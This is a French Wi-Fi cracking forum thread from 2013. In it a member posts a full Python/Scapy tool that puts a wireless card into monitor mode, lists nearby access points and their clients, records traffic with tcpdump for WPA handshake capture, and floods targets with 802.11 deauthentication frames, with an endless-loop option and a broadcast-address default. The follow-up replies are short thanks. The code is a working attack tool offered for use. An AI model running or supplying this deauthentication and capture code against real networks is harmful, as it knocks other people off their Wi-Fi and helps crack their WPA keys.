Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 10-12-2013 01:42:39

warfares
Membre Hyperactif
Inscription : 01-04-2013
Messages : 52

[python-Scapy] airodump-ng like avec deauth

salut, Dans le cadre de mon apprentissage du python et de scapy, j'ai fait ce petit script, dans l'espoire que cela soit utile à quelqu'un, le voici

il s'agit d'une sorte de airodump-ng en moins bien, on peut voir des APs, leur bssid, leurs clients lancer des deauth et enregistrer le traffic

Ce n'est que le début, je pense lui ajouter quelque fonctions réseau ( 802.11 comme wifiTap, IP genre scanner, arp poisonning..., le max que je pourrai avec scapy ), afin de devenir un outil multifonctions, quand on a pas besoin d'utiliser toutes les fonctions d'un programme spécifique ( par ex economiser un peu de ram ? )

vu que je débute en python je suis preneur de tout conseils ( surtout pour trier les dico si ya plsu simple, et sur l'utilisation de curses etc... )

petit appercu :
appercu

edit : après un petit test en situation réelle, il s'avèrait que certains ssid faisaient "buger" le tout, c'est corrigé

ce qu'il faut savoir :
il y a des stations et Ap fantomes : pas encore de fonction pour les retirer quand plus à portée
Pour deauth : je vous conseil copier/coller dans le champs pour entrer les adresses mac car du fait ( de ma mauvaise utilisation ) de curses , si l'on prend trop de temps à écrire l'adresse mac, un petit bug graphique survient.
De plus, à cause de curses aussi, si l'on change la taille de la fenetre du terminal qui a lancé le programme, il se peut que le programme plante.
il se peut aussi que si le programme plante ( à cause de curse ), il ne ferme pas correctement les subprocess ce qui bouffe de la rame et du cpu pour rien.

En l'espèce pas forcément très utile, mais ça peut servir de base pour, par exemple une automatisation sans clavier ni écran pour chopper des handshake...

#!/usr/bin/env python
#-*- coding:utf-8 -*-
# by warfares
# inspired from http://raidersec.blogspot.fr/2013/01/wireless-deauth-attack-using-aireplay.html

# need python2 ,scapy and tcp dump if you want to record
# todo :
# on peut arriver à 100% du cpu avec tcpdump quand bcp de stations... à approfondir (voir du côté du filtrage ?)
# envoyer des probesReq pour découvrir les APs plus vite ?
# mettre un "timer" pour les Aps et stations afin de ne pas avoir de "fantomes" ?
# voir pour régler les bugs d'affichage du champ de deauth
# plus de bug quand on change la taille de la fenetre ? 
# differencier WEP de WPA ( voir wps )
# afficher IV et handshake capturés

# Linux native
# Scapy can run natively on Linux, without libdnet and libpcap.
#    Install Python 2.5.
#    Install tcpdump and make sure it is in the $PATH. (It’s only used to compile BPF filters (-ddd option))
#    Make sure your kernel has Packet sockets selected (CONFIG_PACKET)
#    If your kernel is < 2.6, make sure that Socket filtering is selected CONFIG_FILTER)

import curses, sys, os, signal,argparse
from multiprocessing import Process
from scapy.all import *
from subprocess import call, PIPE

dictio = {} # found APs
clients = {} # found clients

is_deauth_bssid="" # the mac of the AP we want to launch "deauth attack"
is_deauth_station="" # the mac of the station we want to launch "deauth attack", can enter ff:ff:ff:ff:ff:ff
is_deauth_number="" # how many packets to send ? 

############################################################################################################
#                                                   ENDP                                                   #
############################################################################################################
def endParty(*osef):# end "gracefully"
	global is_deauth_bssid,is_deauth_station,is_deauth_number,dh,interface,processSniff,dh,pathToSaveSniffed
		
	if pathToSaveSniffed:
		processSniff.terminate()
		processSniff.join()

	di.terminate()
	di.join()
	
	try: # if we perform deauth
		dh.terminate()
		dh.join()
	except: pass
	curses.endwin()

	print "\n","-"*cols # final we display APs
	for channel,enc,bssid,ssid in dictio.values():
		print channel,"|",enc,"|",bssid,"|",ssid
			
	print "-"*cols
	nbEnc = len([enc for channel,enc,bssid,ssid in dictio.values() if enc =="X" ])
	nbOpn = len([enc for channel,enc,bssid,ssid in dictio.values() if enc ==" " ])
	print " "*((cols-19)/2),"Total APs found: %d"%len(dictio)
	if len(dictio)>0:
		print " "*((cols-19)/2),"Encrypted APs  : %d (%d %%)"%(nbEnc,100*(nbEnc/len(dictio)))
		print " "*((cols-19)/2),"Open APs       : %d (%d %%)"%(nbOpn,100*(nbOpn/len(dictio)))
	else:
		print " "*((cols-19)/2),"Encrypted APs  : 0 (0%)"
		print " "*((cols-19)/2),"Open APs       : 0 (0%)"
	#rmInter = raw_input('do you want to remove mon0 ? (y/n) ')
	#if rmInter=="y":
	os.system("iw dev %s interface del" % interface)
	print " "*((cols-39)/2),"\033[1;34m[*]\033[0m    %s successfully removed    \033[1;34m[*]\033[0m\n"%interface
	if __name__ == "__main__":
		sys.exit(0)
	else:
		return
	
############################################################################################################
#                                                 REDRAW                                                   #
############################################################################################################
def redraw():# I did this for my EEEpc's screen, but i think you can easyly change that for your convenience
	global is_deauth_bssid,is_deauth_station,is_deauth_number,is_deauthing,rows,cols
	rows, cols = os.popen('stty size', 'r').read().split() # get the terminal's size
	cols = int(cols)
	rows = int(rows)
	rows-=1
	try:
		win = curses.initscr();
		win.erase()
		win.addstr(0,0,"CH | E | BSSID             | SSID")
		win.addstr(0, ((cols/3)*2),"STATION           | BSSID")
		win.addstr(1, 0, "-" * cols)
		
		i=2
		for channel,enc,bssid,ssid in dictio.values():
			if i <= rows:
				line = channel+" | "+enc+" | "+bssid+" | "+ssid
				try: # sometime, ssid bug
					win.addstr(i,0,line)
				except:
					try:
						line = channel+" | "+enc+" | "+bssid+" | "
						win.addstr(i,0,line)
					except:
						pass
			i+=1

		#win.addstr(i, 0, "-" * ((cols/3)*2)) #bottom line for the AP view
		
		i=0
		while i <= rows: # we display the delimit wall between Aps & clients
			win.addstr(i, ((cols/3)*2)-2, "|")
			i+=1
		
		i=1
		try: # we sort the client list by AP
			sortedList = [x for x in clients.iteritems()]
			sortedList.sort(key=lambda x: x[1])
			for cle, valeur in sortedList:# key = station | value = AP
				i+=1
				if i < rows-1:
					try:
						win.addstr(i,((cols/3)*2),str(cle)+" | "+str(valeur))
					except:
						pass
		except: pass
		
		################# DEAUTH ###########################"
		win.addstr(rows -1, ((cols/3)*2)-1, "#" * ((cols/3)+1)) #bottom line for the AP view
		win.addstr(rows -1, (((cols/3)*2)-1)+(((cols/3)/2 )-3), " DEAUTH " )
		if is_deauth_bssid=="":
			win.addstr(rows, ((cols/3)*2)+19, "enter bssid")
		elif is_deauth_station=="":
			win.addstr(rows, ((cols/3)*2)+19, "enter station")
		elif is_deauth_number=="":
			win.addstr(rows, ((cols/3)*2)+19, "enter number (-1)")
		else: # normally, never append
			win.addstr(rows, ((cols/3)*2)+19, "performing deauth")
			
		win.addstr(rows,(cols/3)*2, "" )# to replace the cursor on the deauth line.... yeah im a ninja
		win.refresh()
	except: pass

############################################################################################################
#                                                  MONITOR                                                 #
############################################################################################################
def interfaceToMonitorMod(interf): # to do this easyly....
	 os.system("iw dev %s interface add mon0 type monitor"%interf)
	 os.system("ifconfig mon0 up")
	 print " "*((cols-39)/2),"\033[1;34m[*]\033[0m %s is in monitor mod on mon0 \033[1;34m[*]\033[0m"%interf
	 return "mon0"
	 
############################################################################################################
#                                                  SNIFF                                                   #
############################################################################################################
def sniffer(interf,sniPath):
	tcpD = call(["tcpdump","-i","%s"%interf,"-w","%s"%sniPath], stdout=PIPE, stderr=PIPE, stdin=PIPE)
	# I use tcpdump cause scapy ( or me ? ) can't easyly write packets into a file when sniffing
	# here I capture all traffic ( e.g if you want to capture WPA handshake ) keep in mind the pcap 
	# file will grow in consequenses so you can change for capture only tcp etc...
	#tcpD = call(["tcpdump","-i","%s"%interf,"-n","tcp","-w","%s"%sniPath], stdout=PIPE, stderr=PIPE, stdin=PIPE)#  <- here for capture only tcp 

############################################################################################################
#                                                  SNIFF                                                   #
############################################################################################################
def sniffAP(p):
	"""	if p....: # here we can apply any filter .... 

	lan.fc.type == 0           Management frames
wlan.fc.type == 1           Control frames
wlan.fc.type == 2           Data frames
wlan.fc.type_subtype == 0   Association request
wlan.fc.type_subtype == 1   Association response
wlan.fc.type_subtype == 2   Reassociation request
wlan.fc.type_subtype == 3   Reassociation response
wlan.fc.type_subtype == 4   Probe request
wlan.fc.type_subtype == 5   Probe response
wlan.fc.type_subtype == 8   Beacon
"""
	global bssidFiltred
	wTypes = (0, 2, 4) # not used
	# AP detection filters
	if ( (p.haslayer(Dot11Beacon) or p.haslayer(Dot11ProbeResp) or p.haslayer(Dot11AssoResp))\
	and not dictio.has_key(p[Dot11].addr3)):
	# or p.haslayer(Dot11AssoResp)
		ssid       = p[Dot11Elt].info
		bssid      = p[Dot11].addr3    
		channel    = int( ord(p[Dot11Elt:3].info))
		capability = p.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}\{Dot11ProbeResp:%Dot11ProbeResp.cap%}")      
        # Check for encrypted networks
		if re.search("privacy", capability): enc = 'X'
        	else: enc  = ' '
        # Save discovered AP
        	if bssidFiltred=="" or bssid==bssidFiltred:
			dictio[bssid] = ("%02d"%channel,enc,bssid,ssid) # key = bssid
			try:# if we went wrong 
				del clients[bssid] 
			except:
				pass
        	redraw()
        	
    # station detection filters
    # sadly, this don't remove ( yet ) stations when they go off ... you can have "ghost stations"
	elif p.haslayer(Dot11) and (p.type == 2 or p.type == 0 or p.type == 1) \
	and p.addr2!=None and not dictio.has_key(p[Dot11].addr2) and p.addr2!="ff:ff:ff:ff:ff:ff" \
	and p.addr2!="00:00:00:00:00:00" and p.addr2!=None:   
	#and p.addr1!="ff:ff:ff:ff:ff:ff" and p.addr1!="00:00:00:00:00:00" : -> filter to not display non associated stations
	#and not clients.has_key(p[Dot11].addr2) 
	#and p.subtype in wTypes
		try:
			bssid = p[Dot11].addr1
			if bssidFiltred=="" or bssid==bssidFiltred:
				if bssid == "ff:ff:ff:ff:ff:ff":
					bssid = "not associated"					
				clients[p[Dot11].addr2] = bssid # key = station
				redraw()
		except:
			pass
	# to do : send probes to force APs to resp ? 		
############################################################################################################
#                                                  INPUT                                                   #
############################################################################################################
def deauthInput():
	global is_deauth_bssid,is_deauth_station,is_deauth_number,dh
	while True:
		try:
			redraw()
			while is_deauth_bssid =="":
				is_deauth_bssid = win.getstr(rows, (cols/3)*2, 17) # this can 'bug' if your enter a tab don't panic it's just graphic
			redraw()
			
			while is_deauth_station =="":
				is_deauth_station = win.getstr(rows, (cols/3)*2, 17)
			redraw()
			
			is_deauth_number = win.getstr(rows, (cols/3)*2, 17)
			#dh.terminate() # you can stop the precedent deauth
			#dh.join()
			dh = Process(target = performDeauth,args=(is_deauth_bssid,is_deauth_station,is_deauth_number))
			dh.start()
			is_deauth_bssid=""
			is_deauth_station=""
			is_deauth_number=""
		except:
			pass
			
############################################################################################################
#                                                  DEAUTH                                                  #
############################################################################################################		
def performDeauth(bssid, client, count=-1):
	global interface
	conf.iface = interface
	try:
		count=int(count)
	except:
		count=-1 # infinity loop
	if len(client)!=17 : client = "FF:FF:FF:FF:FF:FF"
	ApToCl = Dot11(addr1=client, addr2=bssid, addr3=bssid) / Dot11Deauth() # from ap to cli
	clToAp = Dot11(addr1=bssid, addr2=client, addr3=bssid) / Dot11Deauth() # from cli to ap
	while count != 0:
		try:
			for i in range(64):
				a=send(ApToCl,verbose=0)
				a=send(clToAp,verbose=0)			
			count -= 1
		except :
			break
############################################################################################################
#                                                   CALL                                                   #
############################################################################################################
# for calls from another script
def call():
	global rows,cols,interface,pathToSaveSniffed,win,di,bssidFiltred
	rows, cols = os.popen('stty size', 'r').read().split() # get the terminal's size
	cols = int(cols)
	rows = int(rows)
	rows-=1
	interface=''
	bssidFiltred=""
	pathToSaveSniffed=""

	print ""
	os.system("ifconfig -a | sed 's/[ \t].*//;/^$/d'")
	print ""

	while interface =="":
		interface=raw_input("Which interface do you want to use ? ")
	rep = raw_input("is your interface already in monitor mode ? (y/n) ")
	if rep !="y":
		interface = interfaceToMonitorMod(interface)
	
	bssidFiltredIn=raw_input("Do you want to apply a bssid filter ( if no leave empty by pressing enter ) ")
	pathToSaveSniffed =raw_input("Do you want to save sniffed traffic ? ( if no leave empty by pressing enter ) ")

	if pathToSaveSniffed!="":
		processSniff = Process(target = sniffer,args=(interface,pathToSaveSniffed))
		processSniff.start()

	if bssidFiltredIn and len(bssidFiltredIn)==17:
		bssidFiltred = bssidFiltredIn

	win = curses.initscr();
	di = Process(target = deauthInput)
	di.start()

	signal.signal(signal.SIGINT, endParty)# Capture CTRL-C
	redraw()
	
	try:
		sniff(iface=interface,prn=sniffAP,store=0)# store =0 for manage memory Start the sniffer
		signal.pause()
	except: pass # if there is an error, like when we stop mon0 when quitting by a CTRL-C
############################################################################################################
#                                                   MAIN                                                   #
############################################################################################################
if __name__ == "__main__":
	rows, cols = os.popen('stty size', 'r').read().split() # get the terminal's size
	cols = int(cols)
	rows = int(rows)
	rows-=1

	if not os.geteuid() == 0: # test root
		print "\n"," "*((cols-34)/2),'\033[1;31m[!]\033[0m Script must be run as root \033[1;31m[!]\033[0m\n'
		sys.exit(1)
		#/!\ call, subprocess etc... will have root access
		
	interface=''
	bssidFiltred=""
	pathToSaveSniffed=""
	
	parser = argparse.ArgumentParser(description='\n\033[1;34m%s\033[0m - airodump-ng like using the Scapy python module'%sys.argv[0])
	parser.add_argument('-i', '--interface', dest='interface', type=str, help='Interface to use for sniffing and packet injection ( not yet in monitor mode )')
	parser.add_argument('-m', '--monitor', type=str, help='Interface to use for sniffing and packet injection ( already in monitor mode )')
	parser.add_argument('-b', '--bssid', type=str, help='If you want to filter only one BSSID')
	parser.add_argument('-w', '--write', type=str, help='If you want to record the traffic in a file')
	args = parser.parse_args()
	
	if not args.monitor and not args.interface:
		parser.print_help()
		exit(1)
	elif args.monitor and not args.interface:
		interface = args.monitor
	elif args.interface and not args.monitor:
		interface = interfaceToMonitorMod(args.interface)
	else:
		parser.print_help()
		exit(1)
	
#--------------------------------------------- here we can start ------------------------------------------
	if args.write:
		pathToSaveSniffed=args.write
		processSniff = Process(target = sniffer,args=(interface,pathToSaveSniffed))
		processSniff.start()
		
	if args.bssid and len(args.bssid)==17:
		bssidFiltred = args.bssid
	
	win = curses.initscr();
	di = Process(target = deauthInput)
	di.start()

	signal.signal(signal.SIGINT, endParty)# Capture CTRL-C
	redraw()
	
	try:
		sniff(iface=interface,prn=sniffAP,store=0)# store =0 for manage memory Start the sniffer
		signal.pause()
	except: pass # if there is an error, like when we stop mon0 when quitting by a CTRL-C

Dernière modification par warfares (11-12-2013 14:28:46)

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 10-12-2013 06:20:45

coyotus
Membre Irremplaçable
Lieu : fort fort lointain
Inscription : 05-08-2010
Messages : 884

Re : [python-Scapy] airodump-ng like avec deauth

Intéressant merci.
je vais étudier ça.


1310812721.gif

Hors Ligne

#3 10-12-2013 15:42:16

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : [python-Scapy] airodump-ng like avec deauth

Super !  smile
Je ne peux malheureusement pas d'aider par contre c'est peut être toi qui va n'aider; je vais me mettre à python en suivant tes scripts et tes avancées  big_smile

Hors Ligne

#4 11-12-2013 14:16:06

warfares
Membre Hyperactif
Inscription : 01-04-2013
Messages : 52

Re : [python-Scapy] airodump-ng like avec deauth

ah bah fait attention à ne pas t'imprégner des mauvaises habitudes que je pourrait avoir pris ^^'

Hors Ligne

#5 22-12-2013 17:42:45

YAZ
Membre
Inscription : 12-12-2013
Messages : 21

Re : [python-Scapy] airodump-ng like avec deauth

pour les mises à jour, et autre c'est maintant ici que ça se passe smile

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.026 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]